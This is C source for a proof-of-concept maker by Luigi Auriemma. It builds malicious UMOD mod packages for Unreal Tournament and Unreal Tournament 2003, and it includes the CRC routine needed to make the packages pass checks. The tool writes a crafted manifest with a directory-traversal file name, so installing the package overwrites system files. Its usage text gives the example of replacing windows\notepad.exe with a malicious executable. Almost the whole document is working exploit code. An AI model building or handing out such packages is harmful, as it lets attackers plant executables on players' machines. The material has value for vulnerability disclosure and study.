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- /*
-
- by Luigi Auriemma
-
- UNIX & WIN VERSION
-
-
- UMOD CRC calculation 0.2
- by Luigi Auriemma
- e-mail: aluigi@altervista.org
-
- web: http://aluigi.altervista.org
-
-
- This function must be used to calculate the CRC checksum used in the
- umod files.
-
- For more informations about the umod file format read my document
- and my relative
- tools on my website in the section dedicated to the
- Unreal engine.
-
-
- How to use,
- the 2 possible methods:printf("CRC: 0x%08lx\n", umodcrc("test.umod", 0));
- 2)
- fd = fopen("test.umod", "rb");printf("CRC: 0x%08lx\n", umodcrc(NULL, fd);
-
-
-
- Return value:
- The value is the CRC of the file or 0xffffffff (-1)
- if there are
- errors
-
-
- Practically if you pass NULL as filename,
- the function will use the FILE
- descriptor passed as second argument
- otherwise the function will open the
- file using the first parameter (filename)
-
-
- This source is covered by GNU/GPL
-
-
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/stat.h>
- #include "umodcrc.h"
-
-
- #ifndef u_long
- #define u_long unsigned long
-
- #endif
-
- #ifndef u_char
-
- #define u_char unsigned char
-
- #endif
-
-
-
-
-
-
-
- #define UT2BUFFSZ 0x4000
-
-
-
-
-
- /* complete CRC calculation */
-
-
-
- u_long umodcrc(
-
- u_char *filename, /* name of the file for CRC calculation */
-
- FILE *fdopen /* FILE descriptor */
-
- );
-
-
-
-
- /* CRC algorithm */
-
-
- u_long appmemcrc(
-
- u_char *data, /* buffer containing the data from the file */
-
- u_long size, /* size of the data */
-
- u_long oldcrc /* previous CRC, it must start from 0 */
-
- );
-
-
-
-
-
-
-
- u_long gcrctable[] = {
- 0x00000000, 0x04c11db7, 0x09823b6e, 0x0d4326d9,
- 0x130476dc, 0x17c56b6b, 0x1a864db2, 0x1e475005,
- 0x2608edb8, 0x22c9f00f, 0x2f8ad6d6, 0x2b4bcb61,
- 0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
- 0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9,
- 0x5f15adac, 0x5bd4b01b, 0x569796c2, 0x52568b75,
- 0x6a1936c8, 0x6ed82b7f, 0x639b0da6, 0x675a1011,
- 0x791d4014, 0x7ddc5da3, 0x709f7b7a, 0x745e66cd,
- 0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
- 0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5,
- 0xbe2b5b58, 0xbaea46ef, 0xb7a96036, 0xb3687d81,
- 0xad2f2d84, 0xa9ee3033, 0xa4ad16ea, 0xa06c0b5d,
- 0xd4326d90, 0xd0f37027, 0xddb056fe, 0xd9714b49,
- 0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
- 0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1,
- 0xe13ef6f4, 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d,
- 0x34867077, 0x30476dc0, 0x3d044b19, 0x39c556ae,
- 0x278206ab, 0x23431b1c, 0x2e003dc5, 0x2ac12072,
- 0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
- 0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca,
- 0x7897ab07, 0x7c56b6b0, 0x71159069, 0x75d48dde,
- 0x6b93dddb, 0x6f52c06c, 0x6211e6b5, 0x66d0fb02,
- 0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1, 0x53dc6066,
- 0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
- 0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e,
- 0xbfa1b04b, 0xbb60adfc, 0xb6238b25, 0xb2e29692,
- 0x8aad2b2f, 0x8e6c3698, 0x832f1041, 0x87ee0df6,
- 0x99a95df3, 0x9d684044, 0x902b669d, 0x94ea7b2a,
- 0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
- 0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2,
- 0xc6bcf05f, 0xc27dede8, 0xcf3ecb31, 0xcbffd686,
- 0xd5b88683, 0xd1799b34, 0xdc3abded, 0xd8fba05a,
- 0x690ce0ee, 0x6dcdfd59, 0x608edb80, 0x644fc637,
- 0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
- 0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f,
- 0x5c007b8a, 0x58c1663d, 0x558240e4, 0x51435d53,
- 0x251d3b9e, 0x21dc2629, 0x2c9f00f0, 0x285e1d47,
- 0x36194d42, 0x32d850f5, 0x3f9b762c, 0x3b5a6b9b,
- 0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
- 0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623,
- 0xf12f560e, 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7,
- 0xe22b20d2, 0xe6ea3d65, 0xeba91bbc, 0xef68060b,
- 0xd727bbb6, 0xd3e6a601, 0xdea580d8, 0xda649d6f,
- 0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
- 0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7,
- 0xae3afba2, 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b,
- 0x9b3660c6, 0x9ff77d71, 0x92b45ba8, 0x9675461f,
- 0x8832161a, 0x8cf30bad, 0x81b02d74, 0x857130c3,
- 0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
- 0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c,
- 0x7b827d21, 0x7f436096, 0x7200464f, 0x76c15bf8,
- 0x68860bfd, 0x6c47164a, 0x61043093, 0x65c52d24,
- 0x119b4be9, 0x155a565e, 0x18197087, 0x1cd86d30,
- 0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
- 0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088,
- 0x2497d08d, 0x2056cd3a, 0x2d15ebe3, 0x29d4f654,
- 0xc5a92679, 0xc1683bce, 0xcc2b1d17, 0xc8ea00a0,
- 0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb, 0xdbee767c,
- 0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
- 0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4,
- 0x89b8fd09, 0x8d79e0be, 0x803ac667, 0x84fbdbd0,
- 0x9abc8bd5, 0x9e7d9662, 0x933eb0bb, 0x97ffad0c,
- 0xafb010b1, 0xab710d06, 0xa6322bdf, 0xa2f33668,
- 0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4 };
-
-
-
-
-
-
-
-
- u_long umodcrc(u_char *filename, FILE *fdopen) {
- FILE *fd;
- int err,
- len;
- u_char *buff;
- u_long crc = 0x00000000,
- oldoff = 0;
- struct stat xstat;
-
-
-
-
- if(filename) {
-
- fd = fopen(filename, "rb");
-
- if(!fd) return(-1);
-
- } else {
-
- fd = fdopen;
- oldoff = ftell(fd); // methodic and ordinate 8-)
- }
-
-
-
- err = fstat(fileno(fd), &xstat);
-
-
- if(err < 0) return(-1);
- if(xstat.st_size >= 20) xstat.st_size -= 20;
-
- else return(-1);
-
-
-
- buff = malloc(UT2BUFFSZ);
- if(!buff) return(-1);
- len = UT2BUFFSZ;
-
-
- do {
-
- if(len > xstat.st_size) len = xstat.st_size;
- err = fread(buff, len, 1, fd);
- if(err != 1) break;
- crc = appmemcrc(buff, len, crc);
- xstat.st_size -= len;
-
- } while(xstat.st_size);
-
- if(filename) fclose(fd);
-
- else fseek(fd, oldoff, SEEK_SET);
-
-
-
- free(buff);
-
- return(crc);
-
-
- }
-
-
-
-
-
-
-
-
-
-
- u_long appmemcrc(u_char *data, u_long size, u_long oldcrc)
- {
-
- oldcrc = ~oldcrc;
-
- for(; size > 0; size--, data++) {
-
- oldcrc = (oldcrc << 8) ^ gcrctable[*data ^ (oldcrc >> 24)];
-
- }
-
- return(~oldcrc);
-
- }
-
-
-
-
- /********************************************************************/
-
-
- #ifdef WIN32
- #include <direct.h>
- #include <malloc.h>
-
- #define u_long unsigned long
- #define u_char unsigned char
- #else
- #include <unistd.h>
- #include <sys/stat.h>
- #endif
-
-
-
-
- #define VER "0.1"
- #define BUFFSZ 16384
- #define UMODSIGN 0x9fe3c5a3
- #define MANIFEST \
- "[Setup]\n" \
- "Product=Arbitrary file ovewriting by Luigi Auriemma\n" \
- "Version=1\n" \
- "Archive=%s\n" \
- "SrcPath=.\n" \
- "MasterPath=..\n" \
- "StartProduct=UMODPoC\n" \
- "\n" \
- "Group=SetupGroup\n" \
- "\n" \
- "[SetupGroup]\n" \
- "Copy=(Src="MANINI",Master="MANINI",Flags=3)\n" \
- "File=(Src=%s)\n"
- #define MANINI "System\\Manifest.ini"
-
-
-
-
- void std_err(void);
- void io_err(void);
-
-
-
-
- int main(int argc, char *argv[]) {
- FILE *fdin,
- *fdmod;
- u_char *buff;
- u_long offset,
- manifestsz;
- int err;
- struct stat xstat;
- struct end {
- u_long sign;
- u_long indexstart;
- u_long indexend;
- u_long one;
- u_long crc;
- } end;
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "UMOD arbitrary file overwriting proof-of-concept maker "VER"\n"
- " Vulnerable games:\n"
- " - Unreal Tournament <= 451b\n"
- " - Unreal Tournament 2003 <= 2225\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 4) {
- printf("\n"
- "Usage: %s <malicious_file> <\"fake_file_name\"> <file.umod/ut2mod>\n"
- "\n"
- "You must use a filename with directory traversal exploitation\n"
- "For example:\n"
- "..\\..\\..\\autoexec.bat\n"
- "..\\..\\..\\windows\\system.ini\n"
- "\n"
- "Simple usage example:\n"
- "\n"
- "%s malicious.exe \"..\\..\\..\\windows\\notepad.exe\" useme.umod\n"
- "\n", argv[0], argv[0]);
- exit(1);
- }
-
- printf("Opening %s\n", argv[1]);
- fdin = fopen(argv[1], "rb");
- if(!fdin) std_err();
- err = fstat(fileno(fdin), &xstat);
- if(err < 0) std_err();
- printf("Size: %lu\n\n", xstat.st_size);
-
- buff = malloc(BUFFSZ + 1);
- if(!buff) std_err();
-
- manifestsz = snprintf(
- buff,
- BUFFSZ,
- MANIFEST,
- argv[3],
- argv[2]);
-
- printf("Build virtual "MANINI"\n"
- "Size: %lu\n"
- "\n", manifestsz);
-
- printf("Creating %s\n\n", argv[3]);
- fdmod = fopen(argv[3], "wb");
- if(!fdmod) std_err();
-
- if(fwrite(buff, manifestsz, 1, fdmod) != 1) io_err();
- err = manifestsz;
- while(err & 0xf) { /* useless but all the UMODs does the same */
- fputc(0x00, fdmod);
- err++;
- }
-
- offset = ftell(fdmod); // malicious file offset
-
- while(1) {
- err = fread(buff, 1, BUFFSZ, fdin);
- if(!err) break;
- if(fwrite(buff, err, 1, fdmod) != 1) io_err();
- }
- fclose(fdin);
- err = ftell(fdmod);
- while(err & 0xf) { /* useless but all the UMODs does the same */
- fputc(0x00, fdmod);
- err++;
- }
-
- end.indexstart = err; // starting of index
-
- fputc(2, fdmod); // number of files
-
- fputc(sizeof(MANINI) - 1, fdmod); // filename size
- fwrite(MANINI, sizeof(MANINI) - 1, 1, fdmod); // filename
- fwrite("\x00\x00\x00\x00", 4, 1, fdmod); // starting offset
- fwrite((void *)&manifestsz, 4, 1, fdmod); // size of the file
- fwrite("\x03\x00\x00\x00", 4, 1, fdmod); // flag
-
- err = strlen(argv[2]) + 1;
- fputc(err, fdmod);
- fwrite(argv[2], err, 1, fdmod);
- fwrite((void *)&offset, 4, 1, fdmod);
- fwrite((void *)&xstat.st_size, 4, 1, fdmod);
- fwrite("\x00\x00\x00\x00", 4, 1, fdmod);
-
- end.sign = UMODSIGN; // umod sign
- end.indexend = ftell(fdmod) + sizeof(end); // index ending
- end.one = 1; // 1
- end.crc = 0x00000000; // crc (calculated later)
-
- fwrite((void *)&end, sizeof(end), 1, fdmod);
-
- /* crc checking */
- fflush(fdmod);
- end.crc = umodcrc(argv[3], 0);
- fseek(fdmod, -4, SEEK_CUR);
- fwrite((void *)&end.crc, 4, 1, fdmod);
-
- fclose(fdmod);
-
- printf("\n"
- "Informations about %s:\n"
- "-------------------\n"
- "Index section offset: 0x%08lx\n"
- "Total package size: %lu\n"
- "CRC: %08lx\n"
- "\n"
- "Files contained:\n"
- MANINI" (used for installation)\n"
- "%s\n"
- "\n"
- "Proof-of-concept successfully created!\n",
- argv[3],
- end.indexstart,
- end.indexend,
- end.crc,
- argv[2]);
-
- return(0);
- }
-
-
-
-
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
-
-
-
-
- void io_err(void) {
- fputs("\nError: I/O error, the file is incomplete or the disk space is finished\n", stdout);
- exit(1);
- }
-
-
-